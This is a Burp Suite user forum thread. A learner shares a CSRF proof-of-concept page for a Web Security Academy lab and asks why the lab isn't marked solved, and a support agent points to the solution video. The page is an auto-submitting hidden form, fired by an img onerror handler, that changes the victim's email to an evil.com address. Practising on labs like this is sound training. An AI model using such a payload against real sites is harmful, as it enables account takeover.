Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

CSRF where token is duplicated in cookie

jack | Last updated: Aug 16, 2022 12:42PM UTC

hi iv been going through the labs started of doing the easy ones know im on the practitioner level labs but iv came across two that im positive iv done what it asked, by sending a page to a victim that automaticly changs the email address to another, my code is this <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a3c007a046cad5cc0710ae9008400d5.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="weiner&#64;evil&#46;com" /> <input type="hidden" name="csrf" value="KSDgd1M127Pt6519TITTdoiZaI1QxWPN" /> <input type="submit" value="Submit request" /> </form><img src="https://0a3c007a046cad5cc0710ae9008400d5.web-security-academy.net" onerror="document.forms[0].submit();"/> <script> document.forms[1].submit(); </script> </body> </html> iv tested it again and again even messed around putting the <script> in difrent places to make it automated or clickable, but this changes the email on the lab but iv not got my banner, could someone tell me what iv done wrong, for the life of me, i can not see it, iv spent two three hours racking my brain to solve why my banner not appearing, please help

Michelle, PortSwigger Agent | Last updated: Aug 16, 2022 01:58PM UTC

Thanks for getting in touch. If you follow along with the community solution video, does that help you spot any differences in the steps you are taking?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.